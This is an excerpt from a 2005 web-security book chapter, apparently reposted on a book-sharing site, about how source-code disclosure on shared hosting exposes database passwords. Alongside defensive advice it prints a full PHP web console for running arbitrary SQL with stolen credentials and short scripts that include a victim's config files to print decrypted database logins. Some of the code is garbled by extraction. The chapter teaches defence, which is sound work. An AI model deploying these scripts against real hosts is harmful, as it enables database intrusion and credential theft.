The Problem with Disclosed Code

So, the most dangerous thing that can happen after you place a site on a hosting server is that the contents of any files can be read by a malicious user . What's more, in certain cases the content of some files can be changed.

To protect yourself against the second danger, stick to the following rule:

Rule 

Set access rights to files so that the user who started the HTTP server and runs scripts available using HTTP cannot change them.

You can give such a user rights for writing only into files not crucial for the system (i.e., changing them won't affect the work of the system).

Because dynamic data can always be stored in a database, you can always arrange your system so that there are no files available for reading to all users.

The ability of a malicious person to read any file in your system, including the source code of scripts and modules, is quite serious. It entails three dangers:

  • The source code of your scripts will make it easier for the attacker to find a vulnerability in your system.

  • The attacker will be able to examine the system settings, the . htaccess files, and so on.

  • The attacker can obtain private information from the source code of scripts (e.g., the login and the password to the database).

To avoid the first danger, use the following rule:

Rule 

Under any circumstances, especially when you system is on a hosting server, write your scripts with all safety precautions . In other words, they shouldn't have vulnerabilities.

Indeed, if your scripts are invulnerable, disclosing their source code won't be advantageous for the attacker.

Proof that safe systems with open source code can be developed is in the existence of many OpenSource projects. Their source code is widely available, but they are considered safe enough.

The main techniques of secure programming are described in Chapters 2 to 5.

When it comes to viewing the system settings, the attacker can examine files such as . htaccess or image from book  httpd.conf to investigate the system's internals. However, disclosing this information isn't crucial in most cases because the attacker already has access to the server's file system.

Nevertheless, you should write configuration files so that disclosing their contents isn't dangerous for the system.

In certain cases, you can set access rights to configuration files so that the user who has started the HTTP server and executes scripts cannot read them. The clients of your system also shouldn't read the configuration files.

The only situation, in which disclosure of files can affect the system security, is when passwords are stored in files.

In many systems, image from book  .htaccess files restrict access to a particular directory using HTTP Basic authentication. In such cases, a list of users and hashes of their passwords is often stored in a separate file.

Although recovering a password from its hash is a complex mathematical problem, weak and simple passwords can be recovered quickly.

You might think that proper protection would involve prohibiting reading of the image from book  .htaccess and .htpasswd files by a user who runs scripts. However, this is the user who started the HTTP server, and these files should be accessible for reading to this user. So, you can infer the following:

Warning 

A malicious user with the file access rights of a user who started the HTTP server can always obtain the contents of configuration files such as htaccess or image from book  httpd.conf .

Naturally, this plays into the attacker's hands. What's more, sometimes passwords whose hashes are stored in . htpasswd files are the same as passwords for other services. If the attacker finds a password from its hash stored in this file, he or she is likely to use this password to access other services in the system. No doubt, he or she will use this password to access private parts of the site, which are protected using HTTP Basic authentication.

To protect against this, stick to the following rules:

  • Use long passwords (of ten or more characters ) consisting of uppercase and lowercase letters , digits, and punctuation marks.

  • Create password hashes with the md5 algorithm (the -m switch for the .htpasswd utility).

Taking into account the last warning, it is difficult to provide security.

Note that any private data can be stored in a database. So, the only private data that you have to put in the source code of scripts are authentication data for the access to a database. The most secret is the password to a database.

Some administrators use the same passwords to access to different components of the system. For example, they set the same passwords to access the database; to access files using the FTP, SSH, and Telnet protocols; and to access private parts of the site protected using HTTP Basic authentication.

Warning 

In most cases, the login and the password to the database are stored unencrypted.

So, if the attacker has access to a system in the context of any site on the hosting server and can obtain the source code of scripts (using one of the methods described earlier), he or she can obtain the login and the password to the database of the target site.

For example, the attacker can use the following script to manipulate the database of the target site.

http://localhost/7/8.php

 <? $host="localhost"; // Default host $user="root";      // Default user $pass="";          // Default pass $database="";      // Default database $h=$_POST["h"]; $u=$_POST["u"]; $p=$_POST["p"]; $b=$_POST["b"]; $sq=$_POST["sq"]; if(!empty($h)) $host=stripslashes($h); if(!empty($u)) $user=stripslashes($u); if(!empty($p)) $pass=stripslashes($p); if(!empty($b)) $database=stripslashes($b); echo " <html> <body> <form method=POST> <input type=hidden name=node value=l> host:<input type=text size=10 name=h value=\"".htmlspecialchars($host)."\"> name: <input type=text size=10 name=u value=\"".htmlspecialchars($user),"\"> pass: <input type=text size=10 name=p value=\"".htmlspecialchars($pass)."\"> db: <input type=text size=10 name=b value=\"".htmlspecialchars($database)."\"> <br> sql: <br> <textarea cols=60 rows=6 name=sq>".htmlspecialchars($sq)."</textarea> <br> <input type=submit value='execute'> </form> <hr>  ";  if(empty($_POST["mode"])) {  echo "  </body>  </html>  ";  exit ; }; mysql_connect($host, $user, $pass); $s=mysql_error(); if(!empty($s)) {   echo "<font color=red>".$s."</font><br>\r\n";   echo "   </body>   </html>   exit ; } if(!empty($database)) mysql_select_db($database); $s=mysql_error(); if(!empty($s)) {   echo "<font color=red>".$s."</font><br>\r\n";   echo "   </body>   </html>  ";  exit ; } $sq=stripslashes($sq) ; $q=mysql_query("$sq"); $s=mysql_error(); if(!empty($s)) {   echo "<font color=red>".$s."</font><br>\r\n";   echo "   </body>   </html>   exit; } echo "<table border=l>\r\n"; $x=l; while($r=mysql_fetch_array($q, MYSQL_ASSOC)) {   if ($x)   {     echo "<tr>";     foreach($r as  $kv) echo "<td><b>".htmlspecialchars($k)."</b></td>\r\n";     echo "</tr>";   };   $x=0;   echo "<tr>\r\n";   foreach($r as $k=>$v) echo "<td>".htmlspecialchars($v)."</td>\r\n";   echo "</tr>\r\n"; } echo "</table> </body> </html> "; ?> 

Thus, the attacker can execute PHP (or Perl) code to make any queries to the database of the target site.

To protect yourself against such an attack based on disclosure of the source code of scripts, you need to protect the login and the password to the database against reading. The most obvious solution would involve encrypting the password, storing it in the script source code in the encrypted form, and decrypting it before sending to the function that establishes the connection to the database.

Consider an example that stores the password to a database in the encrypted form.

connect.inc.php

 <? include("crypt.inc.php"); $user="D6506F3CEB81C531"; $pass="1760716B40637EED"; $host="A5D908416F5FEDD7"; $dbname="OF83079680FD4C4A"; $user_pass="WgljXBMfeZ4T"; $pass_pass="kWBIYBJlz3AS"; $host_pass="5p093QAmr2cS"; $dbname_pass="yqfb41ZlEIPm"   $user=mydecrypt($user, $user_pass); $pass=mydecrypt($pass, $pass_pass); $host=mydecrypt($host, $host_pass); $dbname=mydecrypt ($dbname, $dbname_pass); mysql_connect($host, $user, $pass); mysql_select_db($dbname); ... ?> 

As you can see, this code doesn't contain the login and the password explicitly.

However, the attacker will easily find them. If the attacker can view the source code of all scripts, he or she can read the code of connect.inc.php and crypt.inc.php .

The first script determines encrypted strings that contain authentication data to access the database and the passwords necessary for encryption. The second script determines encryption algorithms.

Therefore, the attacker can easily obtain the encryption algorithm and all data necessary for decryption. This will allow him or her to access the database.

In some cases, the attacker doesn't even need to analyze encryption algorithms.

For example, the attacker can load the following script in the context of the site he or she controls on the hosting server and run it with the browser. This script will display the login and the password explicitly. Of course, the attacker needs the content of the connect.inc.php file.

showpasses.php

 <? include("/path/to/crypt.inc.php"); $user="D6506F3CEB81C531"; $pass="1760716B40637EED"; $host="A5D908416F5FEDD7"; $dbname="0F83079680FD4C4A"; $user_pass="Wg1jXBMfeZ4T"; $pass_pass="kWBTYBJ1z3AS"; $host_pass="5p093QAmr2cS"; $dbname_pass="yqfb41ZlEIPm"; echo "user: ".htmlspecialchars(mydecrypt($user, $user_pass))."<br>\r\n"; echo "user: ".htmlspecialchars(mydecrypt($pass, $pass_pass))."<br>\r\n"; echo "user: ".htmlspecialchars(mydecrypt($host, $host_pass))."<br>\r\n"; echo "user: ".htmlspecialchars(mydecrypt($dbname,                                          $dbname_pass))."<br>\r\n"; ?> 

Note that the attacker needs to enter the path to the crypt. inc. php .

If the developer of the system uses standard encryption libraries, for example, mcrypt , the attacker won't need to include additional scripts.

If the attacker can include the connect, inc. php file in this example, he or she can find the login and password to the database.

Showpasses.php

 <? include("/path/to/connect.inc.php"); echo "user: ".htmlspecialchars($user)."<br>\r\n"; echo "user: ".htmlspecialchars($pass)."<br>\r\n"; echo "user: ".htmlspecialchars($host)."<br>\r\n"; echo "user: ".htmlspecialchars($dbname)."<br>\r\n"; ?> 
Warning 

The PHP interpreter can be configured so that the user cannot include files from certain directories.

So, data encryption doesn't protect the login and the password to the database against disclosure.

Are there other methods? I'll try to explain to you the heart of the problem.

The server can access scripts with the rights of a user, for example, nobody . This user can also execute scripts belonging to another site. Malicious scripts have the access rights of the same user.

The attacker can use the malicious scripts to read the contents of any files on the server with the rights of the nobody user. Because the HTTP server accesses the files with the rights of this user, it doesn't have privileges in addition to those of the malicious user. In other words, a script that is being accessed doesn't "know" who accesses it, the HTTP server or the attacker.

The attacker can simulate any action of the PHP interpreter. Any information available to the HTTP server and the PHP interpreter is also available to the attacker.

You can infer the following conclusion:

Conclusion 

Regardless of the method you use to protect the login and the password to the database, the attacker who can obtain the source code of your scripts can disclose the protected data.

A certain protection level could be achieved by enabling the safe mode in PHP, using other PHP restrictions, executing scripts with the rights of the file owners , and using other methods that restrict abilities of scripts. However, some of these methods can be circumvented, and others affect the systems functionality.

To summarize, placing a site on a hosting server makes it vulnerable to attacks on the database of the site.



Hacker Web Exploition Uncovered
Hacker Web Exploition Uncovered
ISBN: 1931769494
EAN: N/A
Year: 2005
Pages: 77

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net